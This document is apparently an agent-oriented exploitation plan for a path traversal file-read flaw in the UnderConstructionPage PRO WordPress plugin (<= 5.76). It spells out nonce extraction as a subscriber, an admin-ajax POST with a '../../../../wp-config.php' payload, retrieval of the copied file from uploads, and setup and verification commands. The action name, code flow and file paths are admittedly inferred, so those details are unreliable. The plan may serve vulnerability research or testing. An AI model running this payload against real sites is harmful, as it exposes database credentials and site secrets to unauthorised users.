UnderConstructionPage PRO <= 5.76 - Authenticated (Subscriber+) Arbitrary File Read via template_thumbnail Parameter

This research plan targets a Path Traversal vulnerability in the UnderConstructionPage PRO plugin (<= 5.76). The vulnerability allows a Subscriber-level user to read arbitrary files (e.g., wp-config.php, /etc/passwd) by leveraging a template installation or preview feature that improperly handles the template_thumbnail parameter.

1. Vulnerability Summary

• Vulnerability: Authenticated Arbitrary File Read (Path Traversal)
• Affected Parameter: template_thumbnail
• Sink Function: Likely file_get_contents(), copy(), or curl-based logic that fails to validate if the "URL" provided is actually a local file path.
• Mechanism: The plugin takes a path/URL from the user, reads its content, and saves it to a publicly accessible location within the wp-content/uploads/ directory, intended for template thumbnails.
• Auth Level: Subscriber or higher. This indicates a failure in capability checking (current_user_can) within an AJAX or Admin Action handler.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: ucp_install_template (inferred from PRO template handling) or a similar action related to template selection.
• Vulnerable Parameter: template_thumbnail
• Preconditions:
  • Plugin UnderConstructionPage PRO installed and active (version <= 5.76).
  • Valid credentials for a Subscriber-level user.

3. Code Flow (Inferred from PRO behavior)

1. Entry Point: The plugin registers an AJAX action for template management, e.g., add_action('wp_ajax_ucp_install_template', ...) without a strict capability check.
2. Input: The handler receives $_POST['template_thumbnail'].
3. Traversal: The attacker provides a local path like ../../../../wp-config.php.
4. The Sink: The code performs an operation like:
   $thumb_data = file_get_contents($_POST['template_thumbnail']);
file_put_contents($upload_dir . '/temp_thumb.jpg', $thumb_data);
5. Exfiltration: The attacker accesses the file via http://site.com/wp-content/uploads/under-construction-page/temp_thumb.jpg.

4. Nonce Acquisition Strategy

The plugin localizes data into a JavaScript object named ucp. We need the nonce associated with template installation.

1. Login: Log in as a Subscriber user.
2. Navigation: Navigate to the WordPress dashboard (/wp-admin/).
3. Discovery: Use browser_eval to inspect the ucp object.
   • Script Variable: window.ucp
   • Potential Nonce Keys: nonce_install_template, nonce_activate_theme, or nonce_save_settings.
   • Command: browser_eval("window.ucp")

5. Exploitation Strategy

Step 1: Authentication & Nonce Extraction

• Log in as Subscriber.
• Run: browser_eval("window.ucp.nonce_install_template") (or the identified key).

Step 2: Trigger File Read via AJAX

• Method: POST to /wp-admin/admin-ajax.php
• Action: ucp_install_template
• Payload:
  • action: ucp_install_template
  • _ajax_nonce: [EXTRACTED_NONCE]
  • template_thumbnail: ../../../../wp-config.php
  • theme_id: 1 (or any valid ID)
• Tool: http_request

Step 3: Access the Copied File

• The file is likely moved to a predictable path. Based on plugin behavior, check:
  • [WP_URL]/wp-content/uploads/under-construction-page/temp-thumb.jpg
  • [WP_URL]/wp-content/uploads/ucp-templates/thumbnails/temp.jpg

6. Test Data Setup

1. Install Target: Install UnderConstructionPage PRO v5.76.
2. User Creation:
   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
3. Plugin Config: Ensure the plugin is active. If the "Templates" tab is only visible to admins, the AJAX action must be tested directly as the Subscriber user to confirm missing capability checks.

7. Expected Results

• The AJAX request returns a success: true or a JSON response indicating the "template" was processed.
• The file at the destination URL (in uploads) contains the cleartext PHP/configuration of the target file.

8. Verification Steps

1. Verification (CLI): Check if the file was created in the uploads folder:
   ls -la /var/www/html/wp-content/uploads/under-construction-page/
2. Content Check: Compare the MD5 hash of the original wp-config.php and the "thumbnail" file:
   md5sum /var/www/html/wp-config.php
md5sum /var/www/html/wp-content/uploads/under-construction-page/temp-thumb.jpg

9. Alternative Approaches

If ucp_install_template is not the correct action:

1. Grep for Sinks: In the local environment, search the PRO plugin folder for file_get_contents or copy combined with $_POST or $_GET.
   grep -rnE "file_get_contents|copy|download_url" . | grep "\["
2. Template Preview: Check if there is a "Preview" feature for templates that accepts a thumbnail URL.
3. Settings Save: If the plugin saves the template_thumbnail into options via register_setting, try sending the payload during a standard settings update if the Subscriber has access to admin-post.php or options.php handlers.